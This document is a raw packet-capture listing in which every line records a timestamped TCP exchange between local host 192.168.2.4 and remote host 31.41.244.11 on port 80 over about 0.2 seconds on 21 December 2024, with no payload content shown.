                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.724891901 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.724944115 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.724992037 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.726129055 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.726176023 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.726249933 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.726295948 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.727437019 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.727483034 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.727580070 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.727628946 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.728765011 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.728811979 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.728847980 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.728894949 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.730031967 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.730079889 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.730146885 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.730192900 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.731378078 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.731431961 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.731509924 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.731560946 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.732686996 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.732742071 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.733115911 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.733165026 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.736608982 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.736777067 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.737057924 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.737112999 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.737123966 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.737155914 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.737160921 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.737374067 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.737602949 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.737643003 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.737663031 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.737690926 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.738871098 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.738918066 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.739002943 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.739048958 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.740124941 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.740175009 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.740272045 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.740319967 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.741456032 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.741492033 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.741508007 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.741542101 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.742762089 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.742815018 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.742892981 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.742940903 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.743896961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.743952036 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.744045973 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.744095087 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.745218992 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.745269060 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.745297909 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.745346069 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.745579004 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.745630026 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.745709896 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.745754004 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.746923923 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.746968985 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.747004032 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.747044086 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.748224974 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.748271942 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.748289108 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.748332977 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.749613047 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.749658108 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.749701977 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.749747038 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.750780106 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.750827074 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.750864029 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.750905991 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.752047062 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.752099037 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.752142906 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.752190113 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.753468990 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.753539085 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.753544092 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.753591061 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.754642010 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.754695892 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.754733086 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.754780054 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.755949974 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.756001949 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.756088972 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.756133080 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.757256031 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.757307053 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.757352114 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.757395983 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.758518934 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.758567095 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.758618116 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.758663893 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.759835005 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.759885073 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.759922981 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.759962082 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.761118889 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.761168003 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.761212111 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.761261940 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.762427092 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.762481928 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.762562990 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.762612104 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.763803005 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.763859034 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.763890028 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.763938904 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.765069008 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.765120029 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.765167952 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.765214920 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.766334057 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.766388893 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.889292955 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.889514923 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.889534950 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.889554024 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.889767885 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.889786005 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.889811039 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.889828920 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.890763998 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.890782118 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.890820026 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.890840054 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.891781092 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.891830921 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.891855001 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.891892910 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.892925024 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.892973900 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.893012047 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.893055916 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.894023895 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.894064903 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.894110918 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.894151926 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.895188093 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.895241022 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.895339966 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.895385027 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.896300077 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.896351099 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.896390915 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.896435022 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.897510052 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.897556067 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.897665024 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.897708893 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.898577929 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.898622036 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.898726940 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.898777962 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.899563074 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.899611950 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.899694920 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.899739981 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.900733948 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.900780916 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.900784016 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.900825024 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.901879072 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.901931047 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.902024031 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.902070045 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.902940035 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.902986050 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.903028965 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.903073072 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.903994083 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.904035091 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.904134035 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.904175043 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.905142069 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.905181885 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.905246973 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.905287027 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.906213999 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.906251907 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.906351089 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.906388998 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.907403946 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.907444000 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.907476902 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.907519102 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.908531904 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.908577919 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.908623934 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.908664942 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.909523010 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.909565926 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.909600973 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.909650087 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.910604000 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.910645962 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.910861015 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.910902023 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.912022114 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.912065983 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.912087917 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.912126064 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.913141966 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.913182974 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.913247108 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.913289070 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.914177895 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.914217949 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.914249897 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.914288044 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.915029049 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.915070057 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.915209055 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.915251970 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.916189909 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.916229010 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.916261911 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.916302919 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.917284012 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.917332888 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.917370081 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.917418003 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.918365002 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.918410063 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.918513060 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.918555975 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.919560909 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.919600964 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.919678926 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.919723988 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.920615911 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.920655012 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.920737982 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.920780897 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.921689987 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.921726942 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.921833038 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.921874046 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.922786951 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.922827959 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.922913074 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.922954082 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.923914909 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.923957109 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.924045086 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.924092054 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.925039053 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:11.925079107 CET4976080192.168.2.431.41.244.11
